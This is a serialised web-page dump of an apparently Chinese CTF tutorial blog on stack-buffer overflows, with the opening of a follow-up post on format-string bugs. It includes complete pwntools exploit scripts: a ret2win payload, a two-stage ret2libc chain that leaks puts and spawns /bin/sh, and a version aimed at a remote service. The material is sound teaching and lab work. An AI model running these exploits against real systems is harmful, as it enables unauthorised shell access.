./setup.sh\n",[19,8364,8365,8375,8387],{"__ignoreMap":44},[48,8366,8367,8369,8371,8373],{"class":50,"line":51},[48,8368,55],{"class":54},[48,8370,59],{"class":58},[48,8372,62],{"class":58},[48,8374,65],{"class":58},[48,8376,8377,8379,8381,8384],{"class":50,"line":68},[48,8378,71],{"class":54},[48,8380,59],{"class":58},[48,8382,8383],{"class":58}," pwntools",[48,8385,8386],{"class":58}," ROPgadget\n",[48,8388,8389,8391,8393,8396,8398,8400,8403,8405],{"class":50,"line":107},[48,8390,4988],{"class":54},[48,8392,4991],{"class":58},[48,8394,8395],{"class":58}," https://github.com/pwndbg/pwndbg",[48,8397,1679],{"class":994},[48,8399,1669],{"class":1668},[48,8401,8402],{"class":58}," pwndbg",[48,8404,1679],{"class":994},[48,8406,8407],{"class":54},"./setup.sh\n",[10,8409,80],{"id":79},[15,8411,8412,87],{},[19,8413,86],{},[39,8415,8416],{"className":90,"code":91,"language":92,"meta":44,"style":44},[19,8417,8418,8422,8426,8430,8434,8438,8442,8446,8450,8454,8458,8462,8466,8470,8474,8478,8482,8486,8490],{"__ignoreMap":44},[48,8419,8420],{"class":50,"line":51},[48,8421,99],{},[48,8423,8424],{"class":50,"line":68},[48,8425,104],{},[48,8427,8428],{"class":50,"line":107},[48,8429,111],{"emptyLinePlaceholder":110},[48,8431,8432],{"class":50,"line":114},[48,8433,117],{},[48,8435,8436],{"class":50,"line":120},[48,8437,123],{},[48,8439,8440],{"class":50,"line":126},[48,8441,129],{},[48,8443,8444],{"class":50,"line":132},[48,8445,111],{"emptyLinePlaceholder":110},[48,8447,8448],{"class":50,"line":137},[48,8449,140],{},[48,8451,8452],{"class":50,"line":143},[48,8453,146],{},[48,8455,8456],{"class":50,"line":149},[48,8457,152],{},[48,8459,8460],{"class":50,"line":155},[48,8461,129],{},[48,8463,8464],{"class":50,"line":160},[48,8465,111],{"emptyLinePlaceholder":110},[48,8467,8468],{"class":50,"line":165},[48,8469,168],{},[48,8471,8472],{"class":50,"line":171},[48,8473,174],{},[48,8475,8476],{"class":50,"line":177},[48,8477,180],{},[48,8479,8480],{"class":50,"line":183},[48,8481,186],{},[48,8483,8484],{"class":50,"line":189},[48,8485,192],{},[48,8487,8488],{"class":50,"line":195},[48,8489,198],{},[48,8491,8492],{"class":50,"line":201},[48,8493,129],{},[15,8495,8496],{},"编译：",[39,8498,8500],{"className":41,"code":8499,"language":43,"meta":44,"style":44},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[19,8501,8502],{"__ignoreMap":44},[48,8503,8504,8506,8508,8510,8512,8514],{"class":50,"line":51},[48,8505,216],{"class":54},[48,8507,220],{"class":219},[48,8509,223],{"class":58},[48,8511,226],{"class":58},[48,8513,229],{"class":219},[48,8515,232],{"class":219},[10,8517,8519],{"id":8518},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8521,8522,8524],{},[27,8523,252],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8526,8527,8529],{},[27,8528,258],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[39,8531,8532],{"className":41,"code":265,"language":43,"meta":44,"style":44},[19,8533,8534],{"__ignoreMap":44},[48,8535,8536,8538,8540],{"class":50,"line":51},[48,8537,272],{"class":54},[48,8539,275],{"class":58},[48,8541,278],{"class":58},[15,8543,281],{},[39,8545,8547],{"className":8546,"code":286,"language":287,"meta":44},[285],[19,8548,286],{"__ignoreMap":44},[15,8550,8551],{},"逐行含义：",[294,8553,8554,8562],{},[297,8555,8556],{},[300,8557,8558,8560],{},[303,8559,6174],{},[303,8561,308],{},[313,8563,8564,8574,8584,8597],{},[300,8565,8566,8571],{},[318,8567,8568],{},[19,8569,8570],{},"No canary found",[318,8572,8573],{},"无栈金丝雀，可覆盖返回地址",[300,8575,8576,8581],{},[318,8577,8578],{},[19,8579,8580],{},"NX enabled",[318,8582,8583],{},"栈不可执行，不能直接放 shellcode",[300,8585,8586,8591],{},[318,8587,8588],{},[19,8589,8590],{},"No PIE",[318,8592,8593,8594,8596],{},"程序地址固定，",[19,8595,356],{}," 地址可直接写死",[300,8598,8599,8604],{},[318,8600,8601],{},[19,8602,8603],{},"Partial RELRO",[318,8605,8606],{},"GOT 可写（本阶段用不到）",[10,8608,361],{"id":360},[15,8610,8611,8613],{},[19,8612,366],{}," 栈帧自低到高：",[39,8615,8618],{"className":8616,"code":8617,"language":287,"meta":44},[285],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[19,8619,8617],{"__ignoreMap":44},[15,8621,8622],{},"偏移 = 32 + 8 = 40。",[15,8624,8625],{},"用 pwntools 验证：",[15,8627,8628,87,8630,8632,8633,8635],{},[27,8629,258],{},[19,8631,379],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[19,8634,743],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[39,8637,8639],{"className":383,"code":8638,"language":385,"meta":44,"style":44},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[19,8640,8641,8645,8649,8653,8657,8662,8666,8671,8675,8680,8685],{"__ignoreMap":44},[48,8642,8643],{"class":50,"line":51},[48,8644,392],{},[48,8646,8647],{"class":50,"line":68},[48,8648,111],{"emptyLinePlaceholder":110},[48,8650,8651],{"class":50,"line":107},[48,8652,401],{},[48,8654,8655],{"class":50,"line":114},[48,8656,406],{},[48,8658,8659],{"class":50,"line":120},[48,8660,8661],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[48,8663,8664],{"class":50,"line":126},[48,8665,421],{},[48,8667,8668],{"class":50,"line":132},[48,8669,8670],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[48,8672,8673],{"class":50,"line":137},[48,8674,431],{},[48,8676,8677],{"class":50,"line":143},[48,8678,8679],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[48,8681,8682],{"class":50,"line":149},[48,8683,8684],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[48,8686,8687],{"class":50,"line":155},[48,8688,8689],{},"print(\"offset =\", offset)\n",[15,8691,281],{},[39,8693,8696],{"className":8694,"code":8695,"language":287,"meta":44},[285],"offset = 40\n",[19,8697,8695],{"__ignoreMap":44},[15,8699,8700,8701,8704,8705,8708,8709,8711],{},"原理：",[19,8702,8703],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[19,8706,8707],{},"rip"," 的值必然是模式串中的 4/8 字节，",[19,8710,743],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,8713,8715],{"id":8714},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,8717,8718,8720],{},[27,8719,252],{},"：把返回地址改成 win，验证控制流劫持成功。",[39,8722,8724],{"className":383,"code":8723,"language":385,"meta":44,"style":44},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[19,8725,8726,8730,8734,8738,8742,8746,8750,8755,8759,8764,8769,8773,8777],{"__ignoreMap":44},[48,8727,8728],{"class":50,"line":51},[48,8729,392],{},[48,8731,8732],{"class":50,"line":68},[48,8733,111],{"emptyLinePlaceholder":110},[48,8735,8736],{"class":50,"line":107},[48,8737,483],{},[48,8739,8740],{"class":50,"line":114},[48,8741,401],{},[48,8743,8744],{"class":50,"line":120},[48,8745,111],{"emptyLinePlaceholder":110},[48,8747,8748],{"class":50,"line":126},[48,8749,646],{},[48,8751,8752],{"class":50,"line":132},[48,8753,8754],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[48,8756,8757],{"class":50,"line":137},[48,8758,661],{},[48,8760,8761],{"class":50,"line":143},[48,8762,8763],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[48,8765,8766],{"class":50,"line":149},[48,8767,8768],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[48,8770,8771],{"class":50,"line":155},[48,8772,587],{},[48,8774,8775],{"class":50,"line":160},[48,8776,675],{},[48,8778,8779],{"class":50,"line":165},[48,8780,8781],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,8783,6139],{},[39,8785,8786],{"className":41,"code":805,"language":43,"meta":44,"style":44},[19,8787,8788],{"__ignoreMap":44},[48,8789,8790,8792],{"class":50,"line":51},[48,8791,812],{"class":54},[48,8793,815],{"class":58},[15,8795,688],{},[39,8797,8800],{"className":8798,"code":8799,"language":287,"meta":44},[285],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[19,8801,8799],{"__ignoreMap":44},[15,8803,8804,8805,8807,8808,2982,8810,1877,8812,8814,8815,2982,8817,8819],{},"执行过程：",[19,8806,21],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[19,8809,356],{},[19,8811,366],{},[19,8813,8353],{}," 跳到 ",[19,8816,356],{},[19,8818,704],{}," 弹 shell。",[10,8821,8823],{"id":8822},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,8825,8826,8827,8829],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[19,8828,8353],{}," 结尾的指令片段（gadget）串起来执行。",[15,8831,8832],{},"找 gadget：",[39,8834,8836],{"className":41,"code":8835,"language":43,"meta":44,"style":44},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[19,8837,8838],{"__ignoreMap":44},[48,8839,8840,8843,8846,8849,8851,8853,8855,8858],{"class":50,"line":51},[48,8841,8842],{"class":54},"ROPgadget",[48,8844,8845],{"class":219}," --binary",[48,8847,8848],{"class":58}," ./vuln",[48,8850,1313],{"class":987},[48,8852,1316],{"class":54},[48,8854,5164],{"class":1325},[48,8856,8857],{"class":58},"pop rdi",[48,8859,5170],{"class":1325},[15,8861,281],{},[39,8863,8866],{"className":8864,"code":8865,"language":287,"meta":44},[285],"0x0000000000401233 : pop rdi ; ret\n",[19,8867,8865],{"__ignoreMap":44},[15,8869,8870,8873,8874,8877,8878,8880],{},[19,8871,8872],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[19,8875,8876],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[19,8879,8353],{}," 跳到下个地址。栈上布局：",[39,8882,8885],{"className":8883,"code":8884,"language":287,"meta":44},[285],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[19,8886,8884],{"__ignoreMap":44},[10,8888,8890],{"id":8889},"八进阶ret2libc","八、进阶：ret2libc",[15,8892,8893,8895,8896,30],{},[27,8894,252],{},"：程序内没有目标函数时，改调 libc 的 ",[19,8897,704],{},[15,8899,8900,8902],{},[27,8901,258],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,8904,8905,8906,8908,8909,8911],{},"程序里没有 ",[19,8907,356],{}," 时，改调 libc 里的 ",[19,8910,704],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[462,8913,8915],{"id":8914},"_81-原理","8.1 原理",[39,8917,8920],{"className":8918,"code":8919,"language":287,"meta":44},[285],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[19,8921,8919],{"__ignoreMap":44},[462,8923,8925],{"id":8924},"_82-完整脚本","8.2 完整脚本",[39,8927,8929],{"className":383,"code":8928,"language":385,"meta":44,"style":44},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[19,8930,8931,8935,8939,8944,8949,8953,8957,8962,8967,8971,8975,8979,8984,8989,8993,8998,9003,9008,9013,9018,9023,9028,9033,9038,9043,9048,9052,9056,9061,9065,9070,9075,9080,9085,9090,9094,9099,9104,9109,9115,9121,9126,9132,9138,9144,9150,9156,9162,9168,9174,9180,9185,9191,9197],{"__ignoreMap":44},[48,8932,8933],{"class":50,"line":51},[48,8934,392],{},[48,8936,8937],{"class":50,"line":68},[48,8938,111],{"emptyLinePlaceholder":110},[48,8940,8941],{"class":50,"line":107},[48,8942,8943],{},"context.log_level = 'error'\n",[48,8945,8946],{"class":50,"line":114},[48,8947,8948],{},"# 只显示错误，减少调试信息刷屏。\n",[48,8950,8951],{"class":50,"line":120},[48,8952,111],{"emptyLinePlaceholder":110},[48,8954,8955],{"class":50,"line":126},[48,8956,483],{},[48,8958,8959],{"class":50,"line":132},[48,8960,8961],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[48,8963,8964],{"class":50,"line":137},[48,8965,8966],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[48,8968,8969],{"class":50,"line":143},[48,8970,401],{},[48,8972,8973],{"class":50,"line":149},[48,8974,111],{"emptyLinePlaceholder":110},[48,8976,8977],{"class":50,"line":155},[48,8978,8695],{},[48,8980,8981],{"class":50,"line":160},[48,8982,8983],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[48,8985,8986],{"class":50,"line":165},[48,8987,8988],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[48,8990,8991],{"class":50,"line":171},[48,8992,111],{"emptyLinePlaceholder":110},[48,8994,8995],{"class":50,"line":177},[48,8996,8997],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[48,8999,9000],{"class":50,"line":183},[48,9001,9002],{},"payload1 = b'A' * offset\n",[48,9004,9005],{"class":50,"line":189},[48,9006,9007],{},"payload1 += p64(ret)\n",[48,9009,9010],{"class":50,"line":195},[48,9011,9012],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[48,9014,9015],{"class":50,"line":201},[48,9016,9017],{},"payload1 += p64(pop_rdi)\n",[48,9019,9020],{"class":50,"line":3660},[48,9021,9022],{},"payload1 += p64(elf.got['puts'])\n",[48,9024,9025],{"class":50,"line":3666},[48,9026,9027],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[48,9029,9030],{"class":50,"line":3672},[48,9031,9032],{},"payload1 += p64(elf.plt['puts'])\n",[48,9034,9035],{"class":50,"line":3678},[48,9036,9037],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[48,9039,9040],{"class":50,"line":3684},[48,9041,9042],{},"payload1 += p64(elf.symbols['main'])\n",[48,9044,9045],{"class":50,"line":4449},[48,9046,9047],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[48,9049,9050],{"class":50,"line":4454},[48,9051,111],{"emptyLinePlaceholder":110},[48,9053,9054],{"class":50,"line":4460},[48,9055,646],{},[48,9057,9058],{"class":50,"line":4466},[48,9059,9060],{},"p.sendline(payload1)\n",[48,9062,9063],{"class":50,"line":4471},[48,9064,111],{"emptyLinePlaceholder":110},[48,9066,9067],{"class":50,"line":4477},[48,9068,9069],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[48,9071,9072],{"class":50,"line":4483},[48,9073,9074],{},"# recvline()：读一行（puts 输出后带换行）。\n",[48,9076,9077],{"class":50,"line":4489},[48,9078,9079],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[48,9081,9082],{"class":50,"line":4495},[48,9083,9084],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[48,9086,9087],{"class":50,"line":4500},[48,9088,9089],{},"print(\"puts:\", hex(leak))\n",[48,9091,9092],{"class":50,"line":4506},[48,9093,111],{"emptyLinePlaceholder":110},[48,9095,9096],{"class":50,"line":4512},[48,9097,9098],{},"libc.address = leak - libc.symbols['puts']\n",[48,9100,9101],{"class":50,"line":4518},[48,9102,9103],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[48,9105,9106],{"class":50,"line":4524},[48,9107,9108],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[48,9110,9112],{"class":50,"line":9111},39,[48,9113,9114],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[48,9116,9118],{"class":50,"line":9117},40,[48,9119,9120],{},"print(\"libc base:\", hex(libc.address))\n",[48,9122,9124],{"class":50,"line":9123},41,[48,9125,111],{"emptyLinePlaceholder":110},[48,9127,9129],{"class":50,"line":9128},42,[48,9130,9131],{},"# 第二阶段：system(\"/bin/sh\")\n",[48,9133,9135],{"class":50,"line":9134},43,[48,9136,9137],{},"payload2 = b'A' * offset\n",[48,9139,9141],{"class":50,"line":9140},44,[48,9142,9143],{},"payload2 += p64(ret)\n",[48,9145,9147],{"class":50,"line":9146},45,[48,9148,9149],{},"payload2 += p64(pop_rdi)\n",[48,9151,9153],{"class":50,"line":9152},46,[48,9154,9155],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[48,9157,9159],{"class":50,"line":9158},47,[48,9160,9161],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[48,9163,9165],{"class":50,"line":9164},48,[48,9166,9167],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[48,9169,9171],{"class":50,"line":9170},49,[48,9172,9173],{},"payload2 += p64(libc.symbols['system'])\n",[48,9175,9177],{"class":50,"line":9176},50,[48,9178,9179],{},"# 调用 system(\"/bin/sh\")。\n",[48,9181,9183],{"class":50,"line":9182},51,[48,9184,111],{"emptyLinePlaceholder":110},[48,9186,9188],{"class":50,"line":9187},52,[48,9189,9190],{},"p.sendlineafter(b'name?', payload2)\n",[48,9192,9194],{"class":50,"line":9193},53,[48,9195,9196],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[48,9198,9200],{"class":50,"line":9199},54,[48,9201,675],{},[15,9203,9204],{},"运行输出：",[39,9206,9209],{"className":9207,"code":9208,"language":287,"meta":44},[285],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[19,9210,9208],{"__ignoreMap":44},[462,9212,9214],{"id":9213},"_83-三个易错点","8.3 三个易错点",[1687,9216,9217,9237,9252],{},[1690,9218,9219,87,9222,9225,9226,9229,9230,9233,9234,30],{},[27,9220,9221],{},"补零",[19,9223,9224],{},"puts"," 输出的地址以换行结尾，",[19,9227,9228],{},"strip()"," 去掉换行，",[19,9231,9232],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[19,9235,9236],{},"u64",[1690,9238,9239,87,9242,9245,9246,9249,9250,30],{},[27,9240,9241],{},"对齐",[19,9243,9244],{},"system"," 内部使用 ",[19,9247,9248],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[19,9251,8353],{},[1690,9253,9254,9257,9258,9261],{},[27,9255,9256],{},"libc 版本","：远程题目若提供 libc，用 ",[19,9259,9260],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9263,9265],{"id":9264},"九必学工具","九、必学工具",[294,9267,9268,9278],{},[297,9269,9270],{},[300,9271,9272,9274,9276],{},[303,9273,718],{},[303,9275,721],{},[303,9277,724],{},[313,9279,9280,9298,9310],{},[300,9281,9282,9284,9296],{},[318,9283,731],{},[318,9285,9286,530,9288,740,9290,530,9292,747,9294],{},[19,9287,736],{},[19,9289,379],{},[19,9291,743],{},[19,9293,597],{},[19,9295,750],{},[318,9297,754],{},[300,9299,9300,9302,9305],{},[318,9301,8842],{},[318,9303,9304],{},"搜索 gadget、指定寄存器、输出地址",[318,9306,9307],{},[19,9308,9309],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[300,9311,9312,9315,9318],{},[318,9313,9314],{},"GDB（pwndbg）",[318,9316,9317],{},"断点、看栈、查看崩溃点",[318,9319,9320,530,9322,530,9324],{},[19,9321,780],{},[19,9323,783],{},[19,9325,9326],{},"bt",[10,9328,9330],{"id":9329},"十小-ctf-实战","十、小 CTF 实战",[15,9332,793,9333,9335,9336,9338,9339,9341],{},[19,9334,796],{}," 运行 ",[19,9337,366],{},"（No canary、No PIE，有 ",[19,9340,356],{},"）。",[39,9343,9345],{"className":383,"code":9344,"language":385,"meta":44,"style":44},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[19,9346,9347,9351,9355,9359,9363,9367,9371,9375,9379],{"__ignoreMap":44},[48,9348,9349],{"class":50,"line":51},[48,9350,392],{},[48,9352,9353],{"class":50,"line":68},[48,9354,111],{"emptyLinePlaceholder":110},[48,9356,9357],{"class":50,"line":107},[48,9358,483],{},[48,9360,9361],{"class":50,"line":114},[48,9362,537],{},[48,9364,9365],{"class":50,"line":120},[48,9366,111],{"emptyLinePlaceholder":110},[48,9368,9369],{"class":50,"line":126},[48,9370,661],{},[48,9372,9373],{"class":50,"line":132},[48,9374,587],{},[48,9376,9377],{"class":50,"line":137},[48,9378,885],{},[48,9380,9381],{"class":50,"line":143},[48,9382,675],{},[15,9384,281],{},[39,9386,9388],{"className":9387,"code":900,"language":287,"meta":44},[285],[19,9389,900],{"__ignoreMap":44},[10,9391,9393],{"id":9392},"十一小结","十一、小结",[15,9395,9396,9397,9399,9400,9402],{},"栈溢出主线：",[19,9398,759],{}," 判断防护 → ",[19,9401,379],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[920,9404,9405],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":44,"searchDepth":68,"depth":68,"links":9407},[9408,9409,9410,9411,9412,9413,9414,9415,9416,9417,9418],{"id":8338,"depth":107,"text":8339},{"id":33,"depth":107,"text":34},{"id":79,"depth":107,"text":80},{"id":8518,"depth":107,"text":8519},{"id":360,"depth":107,"text":361},{"id":8714,"depth":107,"text":8715},{"id":8822,"depth":107,"text":8823},{"id":8889,"depth":107,"text":8890},{"id":9264,"depth":107,"text":9265},{"id":9329,"depth":107,"text":9330},{"id":9392,"depth":107,"text":9393},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":938,"image":9421,"alt":9422,"tags":9423,"published":110},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[942,272,9424,943],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8333,"description":9419},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9430,"title":9431,"body":9432,"description":10457,"extension":936,"meta":10458,"navigation":110,"ogImage":3939,"path":10462,"seo":10463,"stem":10464,"__hash__":10465},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9433,"toc":10445},[9434,9438,9441,9456,9471,9488,9492,9497,9546,9567,9571,9576,9578,9587,9589,9595,9598,9604,9615,9623,9627,9632,9648,9651,9653,9661,9663,9669,9672,9678,9688,9755,9760,9790,9794,9799,9812,9820,9875,9928,9931,9940,9943,9947,9952,9967,9972,9978,9980,9993,9996,10039,10043,10054,10062,10068,10138,10171,10174,10253,10259,10288,10298,10300,10358,10362,10369,10378,10421,10423,10429,10431,10442],[10,9435,9437],{"id":9436},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9439,9440],{},"C 程序员常写的输出代码：",[39,9442,9444],{"className":90,"code":9443,"language":92,"meta":44,"style":44},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[19,9445,9446,9451],{"__ignoreMap":44},[48,9447,9448],{"class":50,"line":51},[48,9449,9450],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[48,9452,9453],{"class":50,"line":68},[48,9454,9455],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9457,9458,9459,9462,9463,9466,9467,9470],{},"当 ",[19,9460,9461],{},"buf"," 内容是 ",[19,9464,9465],{},"%p"," 时，",[19,9468,9469],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9472,9473,9474,9482],"ul",{},[1690,9475,9476,740,9478,9481],{},[19,9477,9465],{},[19,9479,9480],{},"%s","：任意读（泄露内存）。",[1690,9483,9484,9487],{},[19,9485,9486],{},"%n","：任意写（写入内存）。",[10,9489,9491],{"id":9490},"二漏洞程序与编译","二、漏洞程序与编译",[15,9493,9494,87],{},[19,9495,9496],{},"fmt.c",[39,9498,9500],{"className":90,"code":9499,"language":92,"meta":44,"style":44},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[19,9501,9502,9506,9510,9514,9519,9523,9528,9533,9538,9542],{"__ignoreMap":44},[48,9503,9504],{"class":50,"line":51},[48,9505,99],{},[48,9507,9508],{"class":50,"line":68},[48,9509,111],{"emptyLinePlaceholder":110},[48,9511,9512],{"class":50,"line":107},[48,9513,168],{},[48,9515,9516],{"class":50,"line":114},[48,9517,9518],{},"    char buf[100];\n",[48,9520,9521],{"class":50,"line":120},[48,9522,174],{},[48,9524,9525],{"class":50,"line":126},[48,9526,9527],{},"    printf(\"> \");\n",[48,9529,9530],{"class":50,"line":132},[48,9531,9532],{},"    fgets(buf, sizeof(buf), stdin);\n",[48,9534,9535],{"class":50,"line":137},[48,9536,9537],{},"    